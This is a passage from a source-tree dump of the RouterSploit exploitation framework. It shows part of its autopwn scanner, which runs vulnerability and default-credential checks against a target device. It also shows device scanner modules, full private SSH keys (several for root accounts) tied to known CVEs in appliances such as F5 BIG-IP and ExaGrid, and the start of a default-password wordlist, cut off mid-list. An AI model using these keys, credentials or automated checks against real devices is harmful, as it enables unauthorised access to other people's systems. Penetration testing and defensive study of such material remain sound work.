self.vulnerabilities.append((exploit.target, exploit.port, exploit.target_protocol, str(exploit)))\n                elif response is False:\n                    print_info(\"\\033[91m[-]\\033[0m\", \"{}:{} {} {} is not vulnerable\".format(\n                               exploit.target, exploit.port, exploit.target_protocol, exploit))\n                else:\n                    print_info(\"\\033[94m[*]\\033[0m\", \"{}:{} {} {} Could not be verified\".format(\n                               exploit.target, exploit.port, exploit.target_protocol, exploit))\n                    self.not_verified.append((exploit.target, exploit.port, exploit.target_protocol, str(exploit)))\n\n    def creds_target_function(self, running, data):\n        while running.is_set():\n            try:\n                module = data.next()\n                exploit = module()\n\n                generic = False\n                if exploit.__module__.startswith(\"routersploit.modules.creds.generic\"):\n                    if exploit.__module__.endswith(\"default\"):\n                        generic = True\n                    else:\n                        continue\n\n            except StopIteration:\n                break\n            else:\n                exploit.target = self.target\n                exploit.verbosity = \"false\"\n                exploit.stop_on_success = \"false\"\n                exploit.threads = self.threads\n\n                if exploit.target_protocol == Protocol.HTTP:\n                    exploit.port = self.http_port\n                    if self.http_ssl:\n                        exploit.ssl = \"true\"\n                        exploit.target_protocol = Protocol.HTTPS\n\n                elif generic:\n                    if exploit.target_protocol is Protocol.HTTP:\n                        exploit.port = self.http_port\n                        if self.http_ssl:\n                            exploit.ssl = \"true\"\n                            exploit.target_protocol = Protocol.HTTPS\n                    elif exploit.target_protocol == Protocol.SSH:\n                        exploit.port = self.ssh_port\n                    elif exploit.target_protocol == Protocol.FTP:\n                        exploit.port = self.ftp_port\n                        if self.ftp_ssl:\n                            exploit.ssl = \"true\"\n                            exploit.target_protocol = Protocol.FTPS\n\n                    elif exploit.target_protocol == Protocol.TELNET:\n                        exploit.port = self.telnet_port\n                else:\n                    continue\n\n                response = exploit.check_default()\n                if response:\n                    print_info(\"\\033[92m[+]\\033[0m\", \"{}:{} {} {} is vulnerable\".format(\n                               exploit.target, exploit.port, exploit.target_protocol, exploit))\n\n                    for creds in response:\n                        self.creds.append(creds)\n                else:\n                    print_info(\"\\033[91m[-]\\033[0m\", \"{}:{} {} {} is not vulnerable\".format(\n                               exploit.target, exploit.port, exploit.target_protocol, exploit))\n"
  },
  {
    "path": "routersploit/modules/scanners/cameras/__init__.py",
    "content": ""
  },
  {
    "path": "routersploit/modules/scanners/cameras/camera_scan.py",
    "content": "from routersploit.modules.scanners.autopwn import Exploit\n\n\nclass Exploit(Exploit):\n    __info__ = {\n        \"name\": \"Camera Scanner\",\n        \"description\": \"Module that scans for cameras vulnerablities and weaknesses.\",\n        \"authors\": (\n            \"Marcin Bury <marcin[at]threat9.com>\",  # routersploit module\n        ),\n        \"devices\": (\n            \"Cameras\",\n        ),\n    }\n\n    modules = [\"generic\", \"cameras\"]\n"
  },
  {
    "path": "routersploit/modules/scanners/misc/__init__.py",
    "content": ""
  },
  {
    "path": "routersploit/modules/scanners/misc/misc_scan.py",
    "content": "from routersploit.modules.scanners.autopwn import Exploit\n\n\nclass Exploit(Exploit):\n    __info__ = {\n        \"name\": \"Misc Scanner\",\n        \"description\": \"Module that scans for misc devices vulnerablities and weaknesses.\",\n        \"authors\": (\n            \"Marcin Bury <marcin[at]threat9.com>\",  # routersploit module\n        ),\n        \"devices\": (\n            \"Misc Device\",\n        ),\n    }\n\n    modules = [\"generic\", \"misc\"]\n"
  },
  {
    "path": "routersploit/modules/scanners/routers/__init__.py",
    "content": ""
  },
  {
    "path": "routersploit/modules/scanners/routers/router_scan.py",
    "content": "from routersploit.modules.scanners.autopwn import Exploit\n\n\nclass Exploit(Exploit):\n    __info__ = {\n        \"name\": \"Router Scanner\",\n        \"description\": \"Module that scans for routers vulnerablities and weaknesses.\",\n        \"authors\": (\n            \"Marcin Bury <marcin[at]threat9.com>\",  # routersploit module\n        ),\n        \"devices\": (\n            \"Router\",\n        ),\n    }\n\n    modules = [\"generic\", \"routers\"]\n"
  },
  {
    "path": "routersploit/resources/__init__.py",
    "content": ""
  },
  {
    "path": "routersploit/resources/ssh_keys/array-networks-vapv-vxag.json",
    "content": "{\n    \"username\": \"sync\",\n    \"pub_key\": \"ssh-dss AAAAB3NzaC1kc3MAAACBAJTDsX+8olPZeyr58g9XE0L8PKT5030NZBPlE7np4hBqx36HoWarWq1Csn8M57dWN9StKbs03k2ggY6sYJK5AW2EWar70um3pYjKQHiZq7mITmitsozFN/K7wu2e2iKRgquUwH5SuYoOJ29n7uhaILXiKZP4/H/dDudqPRSY6tJPAAAAFQDtuWH90mDbU2L/Ms2lfl/cja/wHwAAAIAMBwSHZt2ysOHCFe1WLUvdwVDHUqk3QHTskuuAnMlwMtSvCaUxSatdHahsMZ9VCHjoQUx6j+TcgRLDbMlRLnwUlb6wpniehLBFk+qakGcREqks5NxYzFTJXwROzP72jPvVgQyOZHWq81gCild/ljL7hmrduCqYwxDIz4o7U92UKQAAAIBmhSl9CVPgVMv1xO8DAHVhM1huIIK8mNFrzMJz+JXzBx81ms1kWSeQOC/nraaXFTBlqiQsvB8tzr4xZdbaI/QzVLKNAF5C8BJ4ScNlTIx1aZJwyMil8Nzb+0YAsw5Ja+bEZZvEVlAYnd10qRWrPeEY1txLMmX3wDa+JvJL7fmuBg==\"\n}\n"
  },
  {
    "path": "routersploit/resources/ssh_keys/array-networks-vapv-vxag.key",
    "content": "-----BEGIN DSA PRIVATE KEY-----\nMIIBugIBAAKBgQCUw7F/vKJT2Xsq+fIPVxNC/Dyk+dN9DWQT5RO56eIQasd+h6Fm\nq1qtQrJ/DOe3VjfUrSm7NN5NoIGOrGCSuQFthFmq+9Lpt6WIykB4mau5iE5orbKM\nxTfyu8LtntoikYKrlMB+UrmKDidvZ+7oWiC14imT+Px/3Q7naj0UmOrSTwIVAO25\nYf3SYNtTYv8yzaV+X9yNr/AfAoGADAcEh2bdsrDhwhXtVi1L3cFQx1KpN0B07JLr\ngJzJcDLUrwmlMUmrXR2obDGfVQh46EFMeo/k3IESw2zJUS58FJW+sKZ4noSwRZPq\nmpBnERKpLOTcWMxUyV8ETsz+9oz71YEMjmR1qvNYAopXf5Yy+4Zq3bgqmMMQyM+K\nO1PdlCkCgYBmhSl9CVPgVMv1xO8DAHVhM1huIIK8mNFrzMJz+JXzBx81ms1kWSeQ\nOC/nraaXFTBlqiQsvB8tzr4xZdbaI/QzVLKNAF5C8BJ4ScNlTIx1aZJwyMil8Nzb\n+0YAsw5Ja+bEZZvEVlAYnd10qRWrPeEY1txLMmX3wDa+JvJL7fmuBgIUZoXsJnzs\n+sqSEhA35Le2kC4Y1/A=\n-----END DSA PRIVATE KEY-----\n"
  },
  {
    "path": "routersploit/resources/ssh_keys/barracuda_load_balancer_vm.json",
    "content": "{\n    \"username\": \"cluster\",\n    \"pub_key\": \"ssh-dss AAAAB3NzaC1kc3MAAACBAMq5EcIFdfCjJakyQnP/BBp9oc6mpaZVguf0Znp5C40twiG1lASQJZlM1qOB/hkBWYeBCHUkcOLEnVXSZzB62L+W/LGKodqnsiQPRr57AA6jPc6mNBnejHai8cSdAl9n/0s2IQjdcrxM8CPq2uEyfm0J3AV6Lrbbxr5NgE5xxM+DAAAAFQCmFk/M7Rx2jexsJ9COpHkHwUjcNQAAAIAdg18oByp/tjjDKhWhmmv+HbVIROkRqSxBvuEZEmcWlg38mLIT1bydfpSou/V4rI5ctxwCfJ1rRr66pw6GwCrz4fXmyVlhrj7TrktyQ9+zRXhynF4wdNPWErhNHb8tGlSOFiOBcUTlouX3V/ka6Dkd6ZQrZLQFaH+gjfyTZZ82HQAAAIEArsJgp7RLPOsCeLqoia/eljseBFVDazO5Q0ysUotTw9wgXGGVWREwm8wNggFNb9eCiBAAUfVZVfhVAtFT0pBf/eIVLPXyaMw3prBt7LqeBrbagODc3WAAdMTPIdYYcOKgv+YvTXa51zG64v6pQOfS8WXgKCzDl44puXfYeDk5lVQ=\"\n}\n"
  },
  {
    "path": "routersploit/resources/ssh_keys/barracuda_load_balancer_vm.key",
    "content": "-----BEGIN DSA PRIVATE KEY-----\nMIIBuwIBAAKBgQDKuRHCBXXwoyWpMkJz/wQafaHOpqWmVYLn9GZ6eQuNLcIhtZQE\nkCWZTNajgf4ZAVmHgQh1JHDixJ1V0mcweti/lvyxiqHap7IkD0a+ewAOoz3OpjQZ\n3ox2ovHEnQJfZ/9LNiEI3XK8TPAj6trhMn5tCdwFei6228a+TYBOccTPgwIVAKYW\nT8ztHHaN7Gwn0I6keQfBSNw1AoGAHYNfKAcqf7Y4wyoVoZpr/h21SETpEaksQb7h\nGRJnFpYN/JiyE9W8nX6UqLv1eKyOXLccAnyda0a+uqcOhsAq8+H15slZYa4+065L\nckPfs0V4cpxeMHTT1hK4TR2/LRpUjhYjgXFE5aLl91f5Gug5HemUK2S0BWh/oI38\nk2WfNh0CgYEArsJgp7RLPOsCeLqoia/eljseBFVDazO5Q0ysUotTw9wgXGGVWREw\nm8wNggFNb9eCiBAAUfVZVfhVAtFT0pBf/eIVLPXyaMw3prBt7LqeBrbagODc3WAA\ndMTPIdYYcOKgv+YvTXa51zG64v6pQOfS8WXgKCzDl44puXfYeDk5lVQCFAPfgalL\n+FT93tofXMuNVfeQMLJl\n-----END DSA PRIVATE KEY-----\n"
  },
  {
    "path": "routersploit/resources/ssh_keys/ceragon-fibeair-cve-2015-0936.json",
    "content": "{\n    \"username\": \"mateidu\",\n    \"pub_key\": \"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAIEAwRIdDlHaIqZXND/l1vFT7ue3rc/DvXh2yx5EFtuxGQRHVxGMazDhV4vj5ANGXDQwUYI0iZh6aOVrDy8I/y9/y+YDGCvsnqrDbuPDjW26s2bBXWgUPiC93T3TA6L2KOxhVcl7mljEOIYACRHPpJNYVGhinCxDUH9LxMrdNXgP5Ok= mateidu@localhost\"\n}\n"
  },
  {
    "path": "routersploit/resources/ssh_keys/ceragon-fibeair-cve-2015-0936.key",
    "content": "-----BEGIN RSA PRIVATE KEY-----\nMIICWwIBAAKBgQDBEh0OUdoiplc0P+XW8VPu57etz8O9eHbLHkQW27EZBEdXEYxr\nMOFXi+PkA0ZcNDBRgjSJmHpo5WsPLwj/L3/L5gMYK+yeqsNu48ONbbqzZsFdaBQ+\nIL3dPdMDovYo7GFVyXuaWMQ4hgAJEc+kk1hUaGKcLENQf0vEyt01eA/k6QIBIwKB\ngQCwhZbohVm5R6AvxWRsv2KuiraQSO16B70ResHpA2AW31crCLrlqQiKjoc23mw3\nCyTcztDy1I0stH8j0zts+DpSbYZnWKSb5hxhl/w96yNYPUJaTatgcPB46xOBDsgv\n4Lf4GGt3gsQFvuTUArIf6MCJiUn4AQA9Q96QyCH/g4mdiwJBAPHdYgTDiQcpUAbY\nSanIpq7XFeKXBPgRbAN57fTwzWVDyFHwvVUrpqc+SSwfzhsaNpE3IpLD9RqOyEr6\nB8YrC2UCQQDMWrUeNQsf6xQer2AKw2Q06bTAicetJWz5O8CF2mcpVFYc1VJMkiuV\n93gCvQORq4dpApJYZxhigY4k/f46BlU1AkAbpEW3Zs3U7sdRPUo/SiGtlOyO7LAc\nWcMzmOf+vG8+xesCDOJwIj7uisaIsy1/cLXHdAPzhBwDCQDyoDtnGty7AkEAnaUP\nYHIP5Ww0F6vcYBMSybuaEN9Q5KfXuPOUhIPpLoLjWBJGzVrRKou0WeJElPIJX6Ll\n7GzJqxN8SGwqhIiK3wJAOQ2Hm068EicG5WQoS+8+KIE/SVHWmFDvet+f1vgDchvT\nuPa5zx2eZ2rxP1pXHAdBSgh799hCF60eZZtlWnNqLg==\n-----END RSA PRIVATE KEY-----\n"
  },
  {
    "path": "routersploit/resources/ssh_keys/exagrid-cve-2016-1561.json",
    "content": "{\n    \"username\": \"root\",\n    \"pub_key\": \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAIBnZQ+6nhlPX/JnX5i5hXpljJ89bSnnrsSs51hSPuoJGmoKowBddISK7s10AIpO0xAWGcr8PUr2FOjEBbDHqlRxoXF0Ocms9xv3ql9EYUQ5+U+M6BymWhNTFPOs6gFHUl8Bw3t6c+SRKBpfRFB0yzBj9d093gSdfTAFoz+yLo4vRw==\"\n}\n"
  },
  {
    "path": "routersploit/resources/ssh_keys/exagrid-cve-2016-1561.key",
    "content": "-----BEGIN RSA PRIVATE KEY-----\nMIICWAIBAAKBgGdlD7qeGU9f8mdfmLmFemWMnz1tKeeuxKznWFI+6gkaagqjAF10\nhIruzXQAik7TEBYZyvw9SvYU6MQFsMeqVHGhcXQ5yaz3G/eqX0RhRDn5T4zoHKZa\nE1MU86zqAUdSXwHDe3pz5JEoGl9EUHTLMGP13T3eBJ19MAWjP7Iuji9HAgElAoGA\nGSZrnBieX2pdjsQ55/AJA/HF3oJWTRysYWi0nmJUmm41eDV8oRxXl2qFAIqCgeBQ\nBWA4SzGA77/ll3cBfKzkG1Q3OiVG/YJPOYLp7127zh337hhHZyzTiSjMPFVcanrg\nAciYw3X0z2GP9ymWGOnIbOsucdhnbHPuSORASPOUOn0CQQC07Acq53rf3iQIkJ9Y\niYZd6xnZeZugaX51gQzKgN1QJ1y2sfTfLV6AwsPnieo7+vw2yk+Hl1i5uG9+XkTs\nRy45AkEAkk0MPL5YxqLKwH6wh2FHytr1jmENOkQu97k2TsuX0CzzDQApIY/eFkCj\nQAgkI282MRsaTosxkYeG7ErsA5BJfwJAMOXYbHXp26PSYy4BjYzz4ggwf/dafmGz\nebQs+HXa8xGOreroPFFzfL8Eg8Ro0fDOi1lF7Ut/w330nrGxw1GCHQJAYtodBnLG\nXLMvDHFG2AN1spPyBkGTUOH2OK2TZawoTmOPd3ymK28LriuskwxrceNb96qHZYCk\n86DC8q8p2OTzYwJANXzRM0SGTqSDMnnid7PGlivaQqfpPOx8MiFR/cGr2dT1HD7y\nx6f/85mMeTqamSxjTJqALHeKPYWyzeSnUrp+Eg==\n-----END RSA PRIVATE KEY-----\n"
  },
  {
    "path": "routersploit/resources/ssh_keys/f5-bigip-cve-2012-1493.json",
    "content": "{\n    \"username\": \"root\",\n    \"pub_key\": \"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAIEAvIhC5skTzxyHif/7iy3yhxuK6/OB13hjPqrskogkYFrcW8OK4VJ T+5+Fx7wd4sQCnVn8rNqahw/x6sfcOMDI/Xvn4yKU4t8TnYf2MpUVr4ndz39L5Ds1n7Si1m2suUNxWbK v58I8+NMhlt2ITraSuTU0NGymWOc8+LNi+MHXdLk= SCCP Superuser\"\n}\n"
  },
  {
    "path": "routersploit/resources/ssh_keys/f5-bigip-cve-2012-1493.key",
    "content": "-----BEGIN RSA PRIVATE KEY-----\nMIICWgIBAAKBgQC8iELmyRPPHIeJ//uLLfKHG4rr84HXeGM+quySiCRgWtxbw4rh\nUlP7n4XHvB3ixAKdWfys2pqHD/Hqx9w4wMj9e+fjIpTi3xOdh/YylRWvid3Pf0vk\nOzWftKLWbay5Q3FZsq/nwjz40yGW3YhOtpK5NTQ0bKZY5zz4s2L4wdd0uQIBIwKB\ngBWL6mOEsc6G6uszMrDSDRbBUbSQ26OYuuKXMPrNuwOynNdJjDcCGDoDmkK2adDF\n8auVQXLXJ5poOOeh0AZ8br2vnk3hZd9mnF+uyDB3PO/tqpXOrpzSyuITy5LJZBBv\n7r7kqhyBs0vuSdL/D+i1DHYf0nv2Ps4aspoBVumuQid7AkEA+tD3RDashPmoQJvM\n2oWS7PO6ljUVXszuhHdUOaFtx60ZOg0OVwnh+NBbbszGpsOwwEE+OqrKMTZjYg3s\n37+x/wJBAMBtwmoi05hBsA4Cvac66T1Vdhie8qf5dwL2PdHfu6hbOifSX/xSPnVL\nRTbwU9+h/t6BOYdWA0xr0cWcjy1U6UcCQQDBfKF9w8bqPO+CTE2SoY6ZiNHEVNX4\nrLf/ycShfIfjLcMA5YAXQiNZisow5xznC/1hHGM0kmF2a8kCf8VcJio5AkBi9p5/\nuiOtY5xe+hhkofRLbce05AfEGeVvPM9V/gi8+7eCMa209xjOm70yMnRHIBys8gBU\nOt0f/O+KM0JR0+WvAkAskPvTXevY5wkp5mYXMBlUqEd7R3vGBV/qp4BldW5l0N4G\nLesWvIh6+moTbFuPRoQnGO2P6D7Q5sPPqgqyefZS\n-----END RSA PRIVATE KEY-----\n"
  },
  {
    "path": "routersploit/resources/ssh_keys/loadbalancer.org-enterprise-va.json",
    "content": "{\n    \"username\": \"root\",\n    \"pub_key\": \"ssh-dss AAAAB3NzaC1kc3MAAACBAKwKBw7D4OA1H/uD4htdh04TBIHdbSjeXUSnWJsce8C0tvoB01Yarjv9TFj+tfeDYVWtUK1DA1JkyqSuoAtDANJzF4I6Isyd0KPrW3dHFTcg6Xlz8d3KEaHokY93NOmB/xWEkhme8b7Q0U2iZie2pgWbTLXV0FA+lhskTtPHW3+VAAAAFQDRyayUlVZKXEweF3bUe03zt9e8VQAAAIAEPK1k3Y6ErAbIl96dnUCnZjuWQ7xXy062pf63QuRWI6LYSscm3f1pEknWUNFr/erQ02pkfi2eP9uHl1TI1ql+UmJX3g3frfssLNZwWXAW0m8PbY3HZSs+f5hevM3ua32pnKDmbQ2WpvKNyycKHi81hSI14xMcdblJolhN5iY8/wAAAIAjEe5+0m/TlBtVkqQbUit+s/g+eB+PFQ+raaQdL1uztW3etntXAPH1MjxsAC/vthWYSTYXORkDFMhrO5ssE2rfg9io0NDyTIZt+VRQMGdi++dH8ptU+ldl2ZejLFdTJFwFgcfXz+iQ1mx6h9TPX1crE1KoMAVOj3yKVfKpLB1EkA== root@lbslave\"\n}\n"
  },
  {
    "path": "routersploit/resources/ssh_keys/loadbalancer.org-enterprise-va.key",
    "content": "-----BEGIN DSA PRIVATE KEY-----\nMIIBugIBAAKBgQCsCgcOw+DgNR/7g+IbXYdOEwSB3W0o3l1Ep1ibHHvAtLb6AdNW\nGq47/UxY/rX3g2FVrVCtQwNSZMqkrqALQwDScxeCOiLMndCj61t3RxU3IOl5c/Hd\nyhGh6JGPdzTpgf8VhJIZnvG+0NFNomYntqYFm0y11dBQPpYbJE7Tx1t/lQIVANHJ\nrJSVVkpcTB4XdtR7TfO317xVAoGABDytZN2OhKwGyJfenZ1Ap2Y7lkO8V8tOtqX+\nt0LkViOi2ErHJt39aRJJ1lDRa/3q0NNqZH4tnj/bh5dUyNapflJiV94N3637LCzW\ncFlwFtJvD22Nx2UrPn+YXrzN7mt9qZyg5m0NlqbyjcsnCh4vNYUiNeMTHHW5SaJY\nTeYmPP8CgYAjEe5+0m/TlBtVkqQbUit+s/g+eB+PFQ+raaQdL1uztW3etntXAPH1\nMjxsAC/vthWYSTYXORkDFMhrO5ssE2rfg9io0NDyTIZt+VRQMGdi++dH8ptU+ldl\n2ZejLFdTJFwFgcfXz+iQ1mx6h9TPX1crE1KoMAVOj3yKVfKpLB1EkAIUCsG3dIJH\nSzmJVCWFyVuuANR2Bnc=\n-----END DSA PRIVATE KEY-----\n"
  },
  {
    "path": "routersploit/resources/ssh_keys/monroe-dasdec-cve-2013-0137.json",
    "content": "{\n    \"username\": \"root\",\n    \"pub_key\": \"ssh-dss AAAAB3NzaC1kc3MAAACBAN3AITryJMQyOKZjAky+mQ/8pOHIlu4q8pzmR0qotKaLm2yye5a0PY2rOaQRAzi7EPheBXbqTb8a8TrHhGXI5P7GUHaJho5HhEnw+5TwAvP72L7LcPwxMxj/rLcR/jV+uLMsVeJVWjwJcUv83yzPXoVjK0hrIm+RLLeuTM+gTylHAAAAFQD5gBdXsXAiTz1atzMg3xDFF1zlowAAAIAlLy6TCMlOBM0IcPsvP/9bEjDj0M8YZazdqt4amO2IaNUPYt9/sIsLOQfxIj8myDK1TOp8NyRJep7V5aICG4f3Q+XktlmLzdWn3sjvbWuIAXe1opjG2T69YhxfHZr8Wn7P4tpCgyqM4uHmUKrfnBzQQ9vkUUWsZoUXM2Z7vUXVfQAAAIAU6eNlphQWDwx0KOBiiYhF9BM6kDbQlyw8333rAG3G4CcjI2G8eYGtpBNliaD185UjCEsjPiudhGil/j4Zt/+VY3aGOLoi8kqXBBc8ZAML9bbkXpyhQhMgwiywx3ciFmvSn2UAin8yurStYPQxtXauZN5PYbdwCHPS7ApIStdpMA== wood@endec1\"\n}\n"
  },
  {
    "path": "routersploit/resources/ssh_keys/monroe-dasdec-cve-2013-0137.key",
    "content": "-----BEGIN DSA PRIVATE KEY-----\nMIIBuwIBAAKBgQDdwCE68iTEMjimYwJMvpkP/KThyJbuKvKc5kdKqLSmi5tssnuW\ntD2NqzmkEQM4uxD4XgV26k2/GvE6x4RlyOT+xlB2iYaOR4RJ8PuU8ALz+9i+y3D8\nMTMY/6y3Ef41frizLFXiVVo8CXFL/N8sz16FYytIayJvkSy3rkzPoE8pRwIVAPmA\nF1excCJPPVq3MyDfEMUXXOWjAoGAJS8ukwjJTgTNCHD7Lz//WxIw49DPGGWs3are\nGpjtiGjVD2Lff7CLCzkH8SI/JsgytUzqfDckSXqe1eWiAhuH90Pl5LZZi83Vp97I\n721riAF3taKYxtk+vWIcXx2a/Fp+z+LaQoMqjOLh5lCq35wc0EPb5FFFrGaFFzNm\ne71F1X0CgYAU6eNlphQWDwx0KOBiiYhF9BM6kDbQlyw8333rAG3G4CcjI2G8eYGt\npBNliaD185UjCEsjPiudhGil/j4Zt/+VY3aGOLoi8kqXBBc8ZAML9bbkXpyhQhMg\nwiywx3ciFmvSn2UAin8yurStYPQxtXauZN5PYbdwCHPS7ApIStdpMAIVAJ+eePIA\nAzb0ux287wRfcfdbjlDM\n-----END DSA PRIVATE KEY-----\n"
  },
  {
    "path": "routersploit/resources/ssh_keys/quantum-dxi-v1000.json",
    "content": "{\n    \"username\": \"root\",\n    \"pub_key\": \"ssh-dss AAAAB3NzaC1kc3MAAACBAISAE3CAX4hsxTw0dRc0gx8nQ41r3Vkj9OmG6LGeKWRmpy7C6vaExuupjxid76fd4aS56lCUEEoRlJ3zE93qoK9acI6EGqGQFLuDZ0fqMyRSX+ilf+1HDo/TRyuraggxp9Hj9LMpZVbpFATMm0+d9Xs7eLmaJjuMsowNlOf8NFdHAAAAFQCwdvqOAkR6QhuiAapQ/9iVuR0UAQAAAIBpLMo4dhSeWkChfv659WLPftxRrX/HR8YMD/jqa3R4PsVM2g6dQ1191nHugtdV7uaMeOqOJ/QRWeYM+UYwT0Zgx2LqvgVSjNDfdjk+ZRY8x3SmExFi62mKFoTGSOCXfcAfuanjaoF+sepnaiLUd+SoJShGYHoqR2QWiysTRqknlwAAAIBLEgYmr9XCSqjENFDVQPFELYKT7Zs9J87PjPS1AP0qF1OoRGZ5mefK6X/6VivPAUWmmmev/BuAs8M1HtfGeGGzMzDIiU/WZQ3bScLB1Ykrcjk7TOFD6xrnk/inYAp5l29hjidoAONcXoHmUAMYOKqn63Q2AsDpExVcmfj99/BlpQ==\"\n}\n"
  },
  {
    "path": "routersploit/resources/ssh_keys/quantum-dxi-v1000.key",
    "content": "-----BEGIN DSA PRIVATE KEY-----\nMIIBugIBAAKBgQCEgBNwgF+IbMU8NHUXNIMfJ0ONa91ZI/TphuixnilkZqcuwur2\nhMbrqY8Yne+n3eGkuepQlBBKEZSd8xPd6qCvWnCOhBqhkBS7g2dH6jMkUl/opX/t\nRw6P00crq2oIMafR4/SzKWVW6RQEzJtPnfV7O3i5miY7jLKMDZTn/DRXRwIVALB2\n+o4CRHpCG6IBqlD/2JW5HRQBAoGAaSzKOHYUnlpAoX7+ufViz37cUa1/x0fGDA/4\n6mt0eD7FTNoOnUNdfdZx7oLXVe7mjHjqjif0EVnmDPlGME9GYMdi6r4FUozQ33Y5\nPmUWPMd0phMRYutpihaExkjgl33AH7mp42qBfrHqZ2oi1HfkqCUoRmB6KkdkFosr\nE0apJ5cCgYBLEgYmr9XCSqjENFDVQPFELYKT7Zs9J87PjPS1AP0qF1OoRGZ5mefK\n6X/6VivPAUWmmmev/BuAs8M1HtfGeGGzMzDIiU/WZQ3bScLB1Ykrcjk7TOFD6xrn\nk/inYAp5l29hjidoAONcXoHmUAMYOKqn63Q2AsDpExVcmfj99/BlpQIUYS6Hs70u\nB3Upsx556K/iZPPnJZE=\n-----END DSA PRIVATE KEY-----\n"
  },
  {
    "path": "routersploit/resources/ssh_keys/vagrant.json",
    "content": "{\n    \"username\": \"vagrant\",\n    \"pub_key\": \"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA6NF8iallvQVp22WDkTkyrtvp9eWW6A8YVr+kz4TjGYe7gHzIw+niNltGEFHzD8+v1I2YJ6oXevct1YeS0o9HZyN1Q9qgCgzUFtdOKLv6IedplqoPkcmF0aYet2PkEDo3MlTBckFXPITAMzF8dJSIFo9D8HfdOV0IAdx4O7PtixWKn5y2hMNG0zQPyUecp4pzC6kivAIhyfHilFR61RGL+GPXQ2MWZWFYbAGjyiYJnAmCP3NOTd0jMZEnDkbUvxhMmBYSdETk1rRgm+R4LOzFUGaHqHDLKLX+FIPKcF96hrucXzcWyLbIbEgE98OHlnVYCzRdK8jlqm8tehUc9c9WhQ== vagrant insecure public key\"\n}\n"
  },
  {
    "path": "routersploit/resources/ssh_keys/vagrant.key",
    "content": "-----BEGIN RSA PRIVATE KEY-----\nMIIEogIBAAKCAQEA6NF8iallvQVp22WDkTkyrtvp9eWW6A8YVr+kz4TjGYe7gHzI\nw+niNltGEFHzD8+v1I2YJ6oXevct1YeS0o9HZyN1Q9qgCgzUFtdOKLv6IedplqoP\nkcmF0aYet2PkEDo3MlTBckFXPITAMzF8dJSIFo9D8HfdOV0IAdx4O7PtixWKn5y2\nhMNG0zQPyUecp4pzC6kivAIhyfHilFR61RGL+GPXQ2MWZWFYbAGjyiYJnAmCP3NO\nTd0jMZEnDkbUvxhMmBYSdETk1rRgm+R4LOzFUGaHqHDLKLX+FIPKcF96hrucXzcW\nyLbIbEgE98OHlnVYCzRdK8jlqm8tehUc9c9WhQIBIwKCAQEA4iqWPJXtzZA68mKd\nELs4jJsdyky+ewdZeNds5tjcnHU5zUYE25K+ffJED9qUWICcLZDc81TGWjHyAqD1\nBw7XpgUwFgeUJwUlzQurAv+/ySnxiwuaGJfhFM1CaQHzfXphgVml+fZUvnJUTvzf\nTK2Lg6EdbUE9TarUlBf/xPfuEhMSlIE5keb/Zz3/LUlRg8yDqz5w+QWVJ4utnKnK\niqwZN0mwpwU7YSyJhlT4YV1F3n4YjLswM5wJs2oqm0jssQu/BT0tyEXNDYBLEF4A\nsClaWuSJ2kjq7KhrrYXzagqhnSei9ODYFShJu8UWVec3Ihb5ZXlzO6vdNQ1J9Xsf\n4m+2ywKBgQD6qFxx/Rv9CNN96l/4rb14HKirC2o/orApiHmHDsURs5rUKDx0f9iP\ncXN7S1uePXuJRK/5hsubaOCx3Owd2u9gD6Oq0CsMkE4CUSiJcYrMANtx54cGH7Rk\nEjFZxK8xAv1ldELEyxrFqkbE4BKd8QOt414qjvTGyAK+OLD3M2QdCQKBgQDtx8pN\nCAxR7yhHbIWT1AH66+XWN8bXq7l3RO/ukeaci98JfkbkxURZhtxV/HHuvUhnPLdX\n3TwygPBYZFNo4pzVEhzWoTtnEtrFueKxyc3+LjZpuo+mBlQ6ORtfgkr9gBVphXZG\nYEzkCD3lVdl8L4cw9BVpKrJCs1c5taGjDgdInQKBgHm/fVvv96bJxc9x1tffXAcj\n3OVdUN0UgXNCSaf/3A/phbeBQe9xS+3mpc4r6qvx+iy69mNBeNZ0xOitIjpjBo2+\ndBEjSBwLk5q5tJqHmy/jKMJL4n9ROlx93XS+njxgibTvU6Fp9w+NOFD/HvxB3Tcz\n6+jJF85D5BNAG3DBMKBjAoGBAOAxZvgsKN+JuENXsST7F89Tck2iTcQIT8g5rwWC\nP9Vt74yboe2kDT531w8+egz7nAmRBKNM751U/95P9t88EDacDI/Z2OwnuFQHCPDF\nllYOUI+SpLJ6/vURRbHSnnn8a/XG+nzedGH5JGqEJNQsz+xT2axM0/W/CRknmGaJ\nkda/AoGANWrLCz708y7VYgAtW2Uf1DPOIYMdvo6fxIB5i9ZfISgcJ/bbCUkFrhoH\n+vq/5CIWxCPp0f85R4qxxQ5ihxJ0YDQT9Jpx4TMss4PSavPaBH3RXow5Ohe+bYoQ\nNE5OgEXk2wVfZczCZpigBKbKZHNYcelXtTt/nP3rsCuGcM4h53s=\n-----END RSA PRIVATE KEY-----\n"
  },
  {
    "path": "routersploit/resources/wordlists/__init__.py",
    "content": "import pkg_resources\n\n\ndefaults = 'file://' + pkg_resources.resource_filename(__name__, 'defaults.txt')\npasswords = 'file://' + pkg_resources.resource_filename(__name__, 'passwords.txt')\nusernames = 'file://' + pkg_resources.resource_filename(__name__, 'usernames.txt')\nsnmp = 'file://' + pkg_resources.resource_filename(__name__, 'snmp.txt')\n"
  },
  {
    "path": "routersploit/resources/wordlists/defaults.txt",
    "content": "1111:1111\n1234:1234\n1502:1502\n266344:266344\n3comcso:RIP000\n4Dgifts:\n666666:666666\n66666:6666666\n888888:888888\nADMINISTRATOR:ADMINISTRATOR\nADMN:admn\nADVMAIL:HP\nADVMAIL:HPOFFICE\nAdmin:5up\nAdmin:Admin\nAdmin:admin\nAdministrator:3ware\nAdministrator:admin\nAdministrator:changeme\nAdministrator:ganteng\nAdministrator:letmein\nAdministrator:meinsm\nAdministrator:password\nAdministrator:pilou\nAdministrator:smcadmin\nAlphanetworks:wapnd03cm_dkbs_dap2555\nAlphanetworks:wapnd04cm_dkbs_dap3525\nAlphanetworks:wapnd15_dlob_dap1522b\nAlphanetworks:wrgac01_dlob.hans_dir865\nAlphanetworks:wrgg15_di524\nAlphanetworks:wrgg19_c_dlwbr_dir300\nAlphanetworks:wrgn22_dlwbr_dir615\nAlphanetworks:wrgn23_dlwbr_dir300b\nAlphanetworks:wrgn23_dlwbr_dir600b\nAlphanetworks:wrgn28_dlob_dir412\nAlphanetworks:wrgn39_dlob.hans_dir645\nAlphanetworks:wrgn3